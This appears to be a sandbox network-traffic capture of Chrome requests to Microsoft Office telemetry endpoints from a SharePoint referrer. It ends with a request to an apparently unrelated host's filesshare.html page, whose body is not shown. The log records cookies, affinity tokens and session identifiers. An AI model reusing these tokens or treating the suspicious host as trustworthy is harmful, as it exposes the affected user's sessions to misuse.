20240716T110724Z-15b94bb6ff9wl9zja15kx3k24s00000009e0000000002xrh X-Cache: CONFIG_NOCACHE
2024-07-16 11:07:24 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50023	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:24 UTC	702	OUT	POST /suite/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-common.online.office.com Connection: keep-alive Content-Length: 697 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:24 UTC	697	OUT	Data Raw: 7b 22 64 22 3a 7b 22 61 22 3a 22 4f 6e 65 4e 6f 74 65 22 2c 22 62 22 3a 22 65 6e 2d 55 53 22 2c 22 63 22 3a 22 55 6e 69 66 69 65 64 55 69 48 6f 73 74 22 2c 22 64 22 3a 22 55 4e 49 46 49 45 44 55 49 48 4f 53 54 22 2c 22 6a 22 3a 22 32 30 32 34 30 37 30 39 2e 39 22 2c 22 72 22 3a 66 61 6c 73 65 2c 22 73 22 3a 22 22 2c 22 77 22 3a 22 35 65 64 33 32 35 38 38 2d 37 36 32 33 2d 33 37 37 64 2d 39 30 35 63 2d 66 30 30 30 33 39 35 30 64 30 35 66 22 2c 22 78 22 3a 22 53 68 61 72 69 6e 67 2e 43 6c 69 65 6e 74 52 65 64 69 72 65 63 74 22 2c 22 79 22 3a 22 63 63 64 63 34 65 62 65 2d 31 38 38 38 2d 34 39 39 62 2d 39 65 37 33 2d 62 62 62 64 35 36 30 31 37 39 65 64 22 2c 22 7a 22 3a 22 73 68 61 72 65 70 6f 69 6e 74 63 6f 6d 22 2c 22 61 63 22 3a 22 64 6f 63 61 73 70 78 22 Data Ascii: {"d":{"a":"OneNote","b":"en-US","c":"UnifiedUiHost","d":"UNIFIEDUIHOST","j":"20240709.9","r":false,"s":"","w":"5ed32588-7623-377d-905c-f0003950d05f","x":"Sharing.ClientRedirect","y":"ccdc4ebe-1888-499b-9e73-bbbd560179ed","z":"sharepointcom","ac":"docaspx"
2024-07-16 11:07:24 UTC	1187	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: GEU3-ARRAffinity=ada4e21689aee97f251897f625bdd555e550916fec4fe06aa06a61158e7b0a4f;Path=/;Domain=euc-common.online.office.com; samesite=none; secure; partitioned X-CorrelationId: 558e1f60-38af-4837-b498-65687480102e X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 X-OfficeFE: DU2PEPF00017905 X-OfficeVersion: 16.0.17910.41010 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://amdat-my.sharepoint.com X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF000195C5 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_visioslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 7076F2E9AE334E51A17E2E1B1F516321 Ref B: EWR311000104039 Ref C: 2024-07-16T11:07:24Z Date: Tue, 16 Jul 2024 11:07:24 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50024	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:24 UTC	721	OUT	POST /suite/RemoteUls.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f&officeserverversion= HTTP/1.1 Host: euc-common.online.office.com Connection: keep-alive Content-Length: 3006 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:24 UTC	3006	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 31 33 35 36 39 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 30 37 38 33 34 35 38 32 2c 22 54 22 3a 31 39 2c 22 4d 22 3a 22 4a 53 41 50 49 20 66 65 74 63 68 20 73 75 63 63 65 65 64 65 64 20 66 6f 72 20 4f 6e 65 4e 6f 74 65 20 62 6f 6f 74 73 74 72 61 70 70 65 72 2e 20 4f 6e 52 65 74 72 79 3a 20 66 61 6c 73 65 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 32 30 7d 2c 7b 22 47 22 3a 35 32 31 31 36 34 32 33 38 2c 22 54 22 3a 31 39 2c 22 4d 22 3a 22 4f 6e 65 4e 6f 74 65 4a 73 41 70 69 56 32 47 61 74 65 3a 20 44 69 73 61 62 6c 65 64 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 35 36 36 31 33 38 39 35 2c 22 54 22 3a 32 31 2c 22 4d 22 3a 22 67 65 74 44 69 61 67 6e 6f 73 74 69 63 73 3a 20 5b 53 65 73 73 69 Data Ascii: {"T":1721128013569,"L":[{"G":507834582,"T":19,"M":"JSAPI fetch succeeded for OneNote bootstrapper. OnRetry: false","C":3027,"D":20},{"G":521164238,"T":19,"M":"OneNoteJsApiV2Gate: Disabled","C":3027,"D":50},{"G":556613895,"T":21,"M":"getDiagnostics: [Sessi
2024-07-16 11:07:24 UTC	4400	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: GEU7-ARRAffinity=43d65693bff91fda4ceb9aa7189aaf78626961663672df092e7754ce9629f4fe;Path=/;Domain=euc-common.online.office.com; samesite=none; secure; partitioned X-CorrelationId: d64a4944-86ee-4362-961c-72edf3274593 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 X-OfficeFE: DB5PEPF0001184C X-OfficeVersion: 16.0.17910.41010 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://amdat-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DB5PEPF00013E4C X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: E30EA6A228D743B1BA9ED13860293881 Ref B: EWR311000108031 Ref C: 2024-07-16T11:07:24Z Date: Tue, 16 Jul 2024 11:07:24 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50025	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:24 UTC	661	OUT	GET /o/AppSettingsHandler.ashx?app=OneNote&usid=5ed32588-7623-377d-905c-f0003950d05f&build= HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:24 UTC	1027	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 3638 Content-Type: application/json; charset=utf-8 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 4e02eaad-e793-4824-8591-8c34421fb707 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DB5PEPF00011812 X-OfficeVersion: 16.0.17817.41007 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://amdat-my.sharepoint.com X-Content-Type-Options: nosniff X-OFFICEFD: DB5PEPF00011812 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 23FC553ABD694C7D9599081BE7FEED7F Ref B: EWR311000104053 Ref C: 2024-07-16T11:07:24Z Date: Tue, 16 Jul 2024 11:07:24 GMT Connection: close
2024-07-16 11:07:24 UTC	3638	IN	Data Raw: 7b 22 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 32 31 31 32 38 30 34 34 38 35 38 2c 22 42 6f 6f 74 73 74 72 61 70 70 65 72 55 6c 73 48 65 61 72 74 42 65 61 74 49 73 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 45 6e 61 62 6c 65 43 6f 6d 6d 6f 6e 48 6f 73 74 44 69 61 67 6e 6f 73 74 69 63 73 50 61 72 61 6d 73 22 3a 74 72 75 65 2c 22 53 68 6f 75 6c 64 4c 6f 67 4a 73 41 70 69 4b 70 69 73 46 6f 72 57 6f 72 64 22 3a 74 72 75 65 2c 22 45 6e 61 62 6c 65 46 72 61 6d 65 50 61 67 65 45 72 72 6f 72 52 65 70 6f 72 74 69 6e 67 46 6f 72 57 6f 72 64 22 3a 66 61 6c 73 65 2c 22 45 6e 61 62 6c 65 57 6f 72 64 53 65 73 73 69 6f 6e 52 65 66 72 65 73 68 54 65 6c 65 6d 65 74 72 79 22 3a 66 61 6c 73 65 2c 22 42 6f 6f 74 73 74 72 61 70 70 65 72 53 65 74 74 69 6e 67 73 46 65 74 63 Data Ascii: {"timestamp":1721128044858,"BootstrapperUlsHeartBeatIsEnabled":false,"EnableCommonHostDiagnosticsParams":true,"ShouldLogJsApiKpisForWord":true,"EnableFramePageErrorReportingForWord":false,"EnableWordSessionRefreshTelemetry":false,"BootstrapperSettingsFetc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50029	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:25 UTC	660	OUT	GET /o/AppSettingsHandler.ashx?app=OneNote&usid=5ed32588-7623-377d-905c-f0003950d05f&build= HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=3824fc47b554b2b24869d64641c3fa60d43e388049fd24ee5d1ccfc639d3528c; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
2024-07-16 11:07:25 UTC	1008	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 3638 Content-Type: application/json; charset=utf-8 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 72db905d-b6a9-4910-851f-4e5a417108f8 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DB5PEPF00011829 X-OfficeVersion: 16.0.17817.41007 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-OFFICEFD: DB5PEPF00011829 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 5916A43C62AF4CEC859268B9B295F75F Ref B: BL2AA2010202003 Ref C: 2024-07-16T11:07:25Z Date: Tue, 16 Jul 2024 11:07:25 GMT Connection: close
2024-07-16 11:07:25 UTC	3383	IN	Data Raw: 7b 22 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 32 31 31 32 38 30 34 35 37 30 36 2c 22 42 6f 6f 74 73 74 72 61 70 70 65 72 55 6c 73 48 65 61 72 74 42 65 61 74 49 73 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 45 6e 61 62 6c 65 43 6f 6d 6d 6f 6e 48 6f 73 74 44 69 61 67 6e 6f 73 74 69 63 73 50 61 72 61 6d 73 22 3a 74 72 75 65 2c 22 53 68 6f 75 6c 64 4c 6f 67 4a 73 41 70 69 4b 70 69 73 46 6f 72 57 6f 72 64 22 3a 74 72 75 65 2c 22 45 6e 61 62 6c 65 46 72 61 6d 65 50 61 67 65 45 72 72 6f 72 52 65 70 6f 72 74 69 6e 67 46 6f 72 57 6f 72 64 22 3a 66 61 6c 73 65 2c 22 45 6e 61 62 6c 65 57 6f 72 64 53 65 73 73 69 6f 6e 52 65 66 72 65 73 68 54 65 6c 65 6d 65 74 72 79 22 3a 66 61 6c 73 65 2c 22 42 6f 6f 74 73 74 72 61 70 70 65 72 53 65 74 74 69 6e 67 73 46 65 74 63 Data Ascii: {"timestamp":1721128045706,"BootstrapperUlsHeartBeatIsEnabled":false,"EnableCommonHostDiagnosticsParams":true,"ShouldLogJsApiKpisForWord":true,"EnableFramePageErrorReportingForWord":false,"EnableWordSessionRefreshTelemetry":false,"BootstrapperSettingsFetc
2024-07-16 11:07:25 UTC	255	IN	Data Raw: 2c 31 36 36 34 35 37 36 35 36 37 2c 31 36 39 38 32 36 30 30 37 35 2c 31 37 31 38 32 33 35 39 35 36 2c 31 37 36 35 30 34 35 33 35 38 2c 31 38 30 32 31 33 39 36 39 38 2c 31 39 38 36 36 38 39 33 39 37 2c 31 39 38 36 36 38 39 36 33 33 2c 31 39 38 36 36 38 39 36 34 37 2c 31 39 38 36 37 34 38 37 39 31 2c 31 39 38 36 37 34 38 37 39 33 2c 31 39 38 36 37 34 39 30 33 30 2c 31 39 38 36 37 34 39 32 38 38 2c 31 39 38 36 37 34 39 35 34 36 2c 32 30 30 34 34 34 33 37 36 30 2c 32 30 30 34 34 34 34 32 37 38 2c 32 30 30 34 34 34 38 33 35 34 22 2c 22 42 75 6c 73 45 6e 64 70 6f 69 6e 74 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 65 75 63 2d 6f 6e 65 6e 6f 74 65 2e 6f 66 66 69 63 65 61 70 70 73 2e 6c 69 76 65 2e 63 6f 6d 2f 6f 2f 52 65 6d 6f 74 65 55 6c 73 2e 61 73 68 78 22 7d Data Ascii: ,1664576567,1698260075,1718235956,1765045358,1802139698,1986689397,1986689633,1986689647,1986748791,1986748793,1986749030,1986749288,1986749546,2004443760,2004444278,2004448354","BulsEndpointUrl":"https://euc-onenote.officeapps.live.com/o/RemoteUls.ashx"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50030	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:25 UTC	420	OUT	GET /suite/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-common.online.office.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:25 UTC	1177	IN	HTTP/1.1 400 Bad Request Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: GEU7-ARRAffinity=711d181537c00fcb68f0334b32b78195ab39160d6ff99d52d9758fa631a949aa;Path=/;Domain=euc-common.online.office.com; samesite=none; secure; partitioned X-CorrelationId: 75d7c413-c74e-488c-88a0-8162724f888e X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 X-OfficeFE: DB5PEPF0001184D X-OfficeVersion: 16.0.17910.41010 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DB5PEPF00013A4F X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_pptcapacity_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 78C1336D83C9452E9228B1F04E7031AD Ref B: BL2AA2030102023 Ref C: 2024-07-16T11:07:25Z Date: Tue, 16 Jul 2024 11:07:25 GMT Connection: close
2024-07-16 11:07:25 UTC	16	IN	Data Raw: 62 0d 0a 42 61 64 20 52 65 71 75 65 73 74 0d 0a Data Ascii: bBad Request
2024-07-16 11:07:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50051	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:32 UTC	1072	OUT	POST /o/RemoteUls.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f&officeserverversion= HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 880 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=427151a1bb5194f6ee28fc34ee6b87dc860f0de780812c674ff314cecd665996; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
2024-07-16 11:07:32 UTC	880	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 32 33 32 34 33 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 37 31 34 37 31 35 2c 22 54 22 3a 33 38 36 33 2c 22 4d 22 3a 22 52 65 63 65 69 76 65 64 20 6d 65 73 73 61 67 65 49 64 3a 20 41 70 70 5f 53 61 76 65 48 6f 73 74 55 74 69 6c 73 44 61 74 61 2c 20 63 6f 72 72 65 6c 61 74 69 6f 6e 3a 20 61 34 64 66 33 39 39 35 2d 61 61 62 32 2d 34 38 35 33 2d 38 34 35 36 2d 32 64 39 38 64 36 39 38 65 64 65 39 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 36 34 36 34 32 38 38 2c 22 54 22 3a 33 38 36 33 2c 22 4d 22 3a 22 50 72 6f 63 65 73 73 69 6e 67 20 6d 65 73 73 61 67 65 3a 20 41 70 70 5f 53 61 76 65 48 6f 73 74 55 74 69 6c 73 44 61 74 61 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 Data Ascii: {"T":1721128023243,"L":[{"G":595714715,"T":3863,"M":"Received messageId: App_SaveHostUtilsData, correlation: a4df3995-aab2-4853-8456-2d98d698ede9","C":379,"D":50},{"G":596464288,"T":3863,"M":"Processing message: App_SaveHostUtilsData","C":379,"D":50},{"G"
2024-07-16 11:07:32 UTC	4581	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: e095eca9-6ae0-43c7-8bed-8a3027a5990b X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DB5PEPF0001181A X-OfficeVersion: 16.0.17817.41007 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://amdat-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5d&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DB5PEPF0001181A X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: CD157FC9843C405E89867839BB46B0D4 Ref B: EWR311000107009 Ref C: 2024-07-16T11:07:32Z Date: Tue, 16 Jul 2024 11:07:32 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50052	209.124.66.28	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:32 UTC	657	OUT	GET /filesshare.html HTTP/1.1 Host: goaheadplatform.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:33 UTC	559	IN	HTTP/1.1 200 OK Connection: close content-type: text/html last-modified: Mon, 15 Jul 2024 04:09:45 GMT accept-ranges: bytes content-length: 5708 date: Tue, 16 Jul 2024 11:07:32 GMT server: LiteSpeed strict-transport-security: max-age=63072000; includeSubDomains x-frame-options: SAMEORIGIN x-content-type-options: nosniff cache-control: max-age=3600, must-revalidate alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
